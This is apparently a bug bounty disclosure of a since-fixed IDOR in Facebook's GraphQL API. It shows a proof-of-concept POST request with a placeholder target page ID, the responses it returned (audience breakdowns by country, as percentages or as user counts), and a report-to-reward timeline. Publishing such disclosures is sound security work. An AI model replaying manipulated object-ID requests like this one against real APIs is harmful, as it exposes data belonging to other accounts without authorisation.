[Facebook] Fetching Demographic Audience data Insight of any Page

 By manipulating a GraphQL request(IDOR) we could have fetched Audience Insight of any page Demographically. The data is ordered in ranks and can be presented in numbers and even percentage.

POC -

===========================

POST /api/graphql/ HTTP/1.1

Host: business.facebook.com

variables={"input":{"breakdowns":["COUNTRY"],"event":"LIKE","id":"(TARGET_PAGE_ID)","time_range":{"type":"LIFETIME"},"tofu_metric":"PERCENT"}}&doc_id=2678024672210272

===========================

Response -

{"data":{"tofu_metrics_query":{"status":"SUCCESS","__typename":"TofuSingleValueWithBreakdownMetricsQueryResult","breakdowns":["COUNTRY"],"bucket_values":[{"bucket_names":["India"],"bucket_value":42.6},{"bucket_names":["Pakistan"],"bucket_value":8.1},{"bucket_names":["Bangladesh"],"bucket_value":4.8},{"bucket_names":["Sri Lanka"],"bucket_value":4.7},{"bucket_names":["Egypt"],"bucket_value":2.8

By changing the "PERCENT" object to "UNIQUE_USERS" in the original request, we will get a responce with number matrix instead of percentage. Which looks like -

"bucket_names":["India"],"bucket_value":1473},{"bucket_names":["Pakistan"],"bucket_value":281},{"bucket_names":["Bangladesh"],"bucket_value":165},{"bucket_names":["Sri Lanka"],"bucket_value":164},{"bucket_names":["Egypt"],"bucket_value":98},{"bucket_names":["Nepal"],"bucket_value":93

Timeline -

Reported - Tuesday, October 20, 2020

Triaged - Tuesday, November 3, 2020

Fixed - Thursday, December 10, 2020

Rewarded - Friday, December 11, 2020